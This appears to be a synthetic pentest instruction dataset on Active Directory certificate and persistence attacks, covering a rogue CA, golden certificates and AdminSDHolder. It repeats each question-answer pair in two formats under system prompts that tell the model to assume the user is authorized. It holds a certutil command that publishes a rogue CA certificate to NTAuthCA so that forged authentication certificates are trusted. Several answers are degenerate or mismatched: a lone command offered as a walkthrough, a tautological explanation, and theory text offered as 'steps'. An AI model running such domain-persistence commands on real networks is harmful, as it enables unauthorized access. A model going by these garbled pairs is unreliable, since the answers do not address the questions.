Registering the rogue CA can be done remotely with the certutil.exe utility from Windows systems.

``batch
certutil.exe -dspublish -f "C:\Temp\CERT.crt" NTAuthCA
``

Once this is done, a certificate can be forged, signed and used as explained above: #stolen-ca

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Certificate authority - Rogue CA during a pentest?

Response:
> [!WARNING]
> > it is usually preferable for an attacker to steal the existing CA certificate instead of installing an additional rogue CA certificate (Certified_Pre-Owned.pdf)

An attacker with sufficient privileges in the domain can setup a rogue CA and make the domain's resources trust it. Once the rogue CA is trusted, the attacker can forge and sign client certificates.

In order to register the rogue CA, the self-signed CA cert must be added to the NTAuthCertificates object's cacertificate attribute, and in the RootCA directory services store.

Registering the rogue CA can be done remotely with the certutil.exe utility from Windows systems.

``batch
certutil.exe -dspublish -f "C:\Temp\CERT.crt" NTAuthCA
``

Once this is done, a certificate can be forged, signed and used as explained above: #stolen-ca


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the certutil.exe syntax for certificate authority - rogue ca?

[Assistant] certutil.exe -dspublish -f "C:\Temp\CERT.crt" NTAuthCA

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the certutil.exe syntax for certificate authority - rogue ca?

Response: certutil.exe -dspublish -f "C:\Temp\CERT.crt" NTAuthCA


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Certificate authority - Rogue CA

[Assistant] certutil.exe -dspublish -f "C:\Temp\CERT.crt" NTAuthCA

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Certificate authority - Rogue CA

Response: certutil.exe -dspublish -f "C:\Temp\CERT.crt" NTAuthCA


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `certutil.exe -dspublish -f "C:\Temp\CERT.crt" NTAuthCA`?

[Assistant] This command is used for certificate authority - rogue ca. Rogue CA

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `certutil.exe -dspublish -f "C:\Temp\CERT.crt" NTAuthCA`?

Response: This command is used for certificate authority - rogue ca. Rogue CA


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Golden certificate - Theory?

[Assistant]
Golden certificates usually refer to one of two types of attacks.

* Forge certificate and sign them with the CA cert private key --> #stolen-ca
* Modify a template and turn it into a SmartCard template --> access-controls.md

Most tools (certsync, certipy) and resources refer to the #stolen-ca technique when mentioning Golden Certificates. Since Golden Tickets consist in Kerberos tickets forged when knowing the KRBTGT keys, it makes sense to call "Golden Certificate" a technique that consists in forging a certificate when knowing the CA private key.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Golden certificate - Theory?

Response:
Golden certificates usually refer to one of two types of attacks.

* Forge certificate and sign them with the CA cert private key --> #stolen-ca
* Modify a template and turn it into a SmartCard template --> access-controls.md

Most tools (certsync, certipy) and resources refer to the #stolen-ca technique when mentioning Golden Certificates. Since Golden Tickets consist in Kerberos tickets forged when knowing the KRBTGT keys, it makes sense to call "Golden Certificate" a technique that consists in forging a certificate when knowing the CA private key.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Golden certificate - Theory

[Assistant]
Golden certificates usually refer to one of two types of attacks.

* Forge certificate and sign them with the CA cert private key --> #stolen-ca
* Modify a template and turn it into a SmartCard template --> access-controls.md

Most tools (certsync, certipy) and resources refer to the #stolen-ca technique when mentioning Golden Certificates. Since Golden Tickets consist in Kerberos tickets forged when knowing the KRBTGT keys, it makes sense to call "Golden Certificate" a technique that consists in forging a certificate when knowing the CA private key.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Golden certificate - Theory

Response:
Golden certificates usually refer to one of two types of attacks.

* Forge certificate and sign them with the CA cert private key --> #stolen-ca
* Modify a template and turn it into a SmartCard template --> access-controls.md

Most tools (certsync, certipy) and resources refer to the #stolen-ca technique when mentioning Golden Certificates. Since Golden Tickets consist in Kerberos tickets forged when knowing the KRBTGT keys, it makes sense to call "Golden Certificate" a technique that consists in forging a certificate when knowing the CA private key.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Certificate Services (AD-CS)?

[Assistant]
> [!TIP]
> See AD > Movement > Certificate Services (AD-CS) to know more about it.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
> [!TIP]
> See AD > Movement > Certificate Services (AD-CS) to know more about it.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Certificate Services (AD-CS)?

[Assistant]
> [!TIP]
> See AD > Movement > Certificate Services (AD-CS) to know more about it.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Certificate Services (AD-CS)?

Response:
> [!TIP]
> See AD > Movement > Certificate Services (AD-CS) to know more about it.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about AdminSDHolder - Theory?

[Assistant]
AdminSdHolder protects domain objects against permission changes. "AdminSdHolder" either refers to a domain object, a "worker code" or an operation depending on the context.

The operation consists in the PDC (Principal Domain Controller) Emulator restoring pre-set permissions for high-privilege users every 60 minutes. Understanding what DACLs/ACEs are and how to abuse them is a requirement to the understanding of this persistence technique (see Access Controls abuse).

The operation is conducted by a "worker code" called SDProp (Security Descriptor propagator).

SDProp propagates AdminSdHolder's Security Descriptor (which contains the DACL) to every protected object every 60 minutes if their SD is different.

The AdminSdHolder object is located at CN=AdminSdHolder,CN=SYSTEM,DC=DOMAIN,DC=LOCAL. For instance, the default AdminSdHolder object's DACL contains the following.

* Authenticated Users: Read
* SYSTEM: Full Control
* Administrators: Modify
* Domain Admins: ReadAndExecute
* Enterprise Admins: ReadAndExecute

The default protected objects are the following.

* member users (possibly nested) of the following groups: Account Operators, Administrators, Backup Operators, Domain Admins, Domain Controllers, Enterprise Admins, Print Operators, Read-only Domain Controllers, Replicator, Schema Admins, Server Operators
* the following users: Administrator, krbtgt

> [!TIP]
> It's worth noting the members of the Domain Controllers and Read-Only Domain Controllers groups are not protected (source), only the groups are.

> [!TIP]
> When talking about AdminSdHolder, the AdminCount attribute is usually mentioned. This attribute is automatically set on an object when adding it to a protected group. Originally, the purpose was to improve SDProp's performance. AdminCount cannot be used for malicious purposes and is now mainly informative.
>
> Also, AdminCount will block inheritance. This means that setting inheritence in the ACE added to AdminSdHolder will be mostly useless.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about AdminSDHolder - Theory?

Response:
AdminSdHolder protects domain objects against permission changes. "AdminSdHolder" either refers to a domain object, a "worker code" or an operation depending on the context.

The operation consists in the PDC (Principal Domain Controller) Emulator restoring pre-set permissions for high-privilege users every 60 minutes. Understanding what DACLs/ACEs are and how to abuse them is a requirement to the understanding of this persistence technique (see Access Controls abuse).

The operation is conducted by a "worker code" called SDProp (Security Descriptor propagator).

SDProp propagates AdminSdHolder's Security Descriptor (which contains the DACL) to every protected object every 60 minutes if their SD is different.

The AdminSdHolder object is located at CN=AdminSdHolder,CN=SYSTEM,DC=DOMAIN,DC=LOCAL. For instance, the default AdminSdHolder object's DACL contains the following.

* Authenticated Users: Read
* SYSTEM: Full Control
* Administrators: Modify
* Domain Admins: ReadAndExecute
* Enterprise Admins: ReadAndExecute

The default protected objects are the following.

* member users (possibly nested) of the following groups: Account Operators, Administrators, Backup Operators, Domain Admins, Domain Controllers, Enterprise Admins, Print Operators, Read-only Domain Controllers, Replicator, Schema Admins, Server Operators
* the following users: Administrator, krbtgt

> [!TIP]
> It's worth noting the members of the Domain Controllers and Read-Only Domain Controllers groups are not protected (source), only the groups are.

> [!TIP]
> When talking about AdminSdHolder, the AdminCount attribute is usually mentioned. This attribute is automatically set on an object when adding it to a protected group. Originally, the purpose was to improve SDProp's performance. AdminCount cannot be used for malicious purposes and is now mainly informative.
>
> Also, AdminCount will block inheritance. This means that setting inheritence in the ACE added to AdminSdHolder will be mostly useless.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for AdminSDHolder - Theory?

[Assistant]
AdminSdHolder protects domain objects against permission changes. "AdminSdHolder" either refers to a domain object, a "worker code" or an operation depending on the context.

The operation consists in the PDC (Principal Domain Controller) Emulator restoring pre-set permissions for high-privilege users every 60 minutes. Understanding what DACLs/ACEs are and how to abuse them is a requirement to the understanding of this persistence technique (see Access Controls abuse).

The operation is conducted by a "worker code" called SDProp (Security Descriptor propagator).

SDProp propagates AdminSdHolder's Security Descriptor (which contains the DACL) to every protected object every 60 minutes if their SD is different.

The AdminSdHolder object is located at CN=AdminSdHolder,CN=SYSTEM,DC=DOMAIN,DC=LOCAL. For instance, the default AdminSdHolder object's DACL contains the following.

* Authenticated Users: Read
* SYSTEM: Full Control
* Administrators: Modify
* Domain Admins: ReadAndExecute
* Enterprise Admins: ReadAndExecute

The default protected objects are the following.

* member users (possibly nested) of the following groups: Account Operators, Administrators, Backup Operators, Domain Admins, Domain Controllers, Enterprise Admins, Print Operators, Read-only Domain Controllers, Replicator, Schema Admins, Server Operators
* the following users: Administrator, krbtgt

> [!TIP]
> It's worth noting the members of the Domain Controllers and Read-Only Domain Controllers groups are not protected (source), only the groups are.

> [!TIP]
> When talking about AdminSdHolder, the AdminCount attribute is usually mentioned. This attribute is automatically set on an object when adding it to a protected group. Originally, the purpose was to improve SDProp's performance. AdminCount cannot be used for malicious purposes and is now mainly informative.
>
> Also, AdminCount will block inheritance. This means that setting inheritence in the ACE added to AdminSdHolder will be mostly useless.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for AdminSDHolder - Theory?

Response:
AdminSdHolder protects domain objects against permission changes. "AdminSdHolder" either refers to a domain object, a "worker code" or an operation depending on the context.

The operation consists in the PDC (Principal Domain Controller) Emulator restoring pre-set permissions for high-privilege users every 60 minutes. Understanding what DACLs/ACEs are and how to abuse them is a requirement to the understanding of this persistence technique (see Access Controls abuse).

The operation is conducted by a "worker code" called SDProp (Security Descriptor propagator).

SDProp propagates AdminSdHolder's Security Descriptor (which contains the DACL) to every protected object every 60 minutes if their SD is different.

The AdminSdHolder object is located at CN=AdminSdHolder,CN=SYSTEM,DC=DOMAIN,DC=LOCAL. For instance, the default AdminSdHolder object's DACL contains the following.

* Authenticated Users: Read
* SYSTEM: Full Control
* Administrators: Modify
* Domain Admins: ReadAndExecute
* Enterprise Admins: ReadAndExecute

The default protected objects are the following.

* member users (possibly nested) of the following groups: Account Operators, Administrators, Backup Operators, Domain Admins, Domain Controllers, Enterprise Admins, Print Operators, Read-only Domain Controllers, Replicator, Schema Admins, Server Operators
* the following users: Administrator, krbtgt

> [!TIP]
> It's worth noting the members of the Domain Controllers and Read-Only Domain Controllers groups are not protected (source), only the groups are.

> [!TIP]
> When talking about AdminSdHolder, the AdminCount attribute is usually mentioned. This attribute is automatically set on an object when adding it to a protected group. Originally, the purpose was to improve SDProp's performance. AdminCount cannot be used for malicious purposes and is now mainly informative.
>
> Also, AdminCount will block inheritance. This means that setting inheritence in the ACE added to AdminSdHolder will be mostly useless.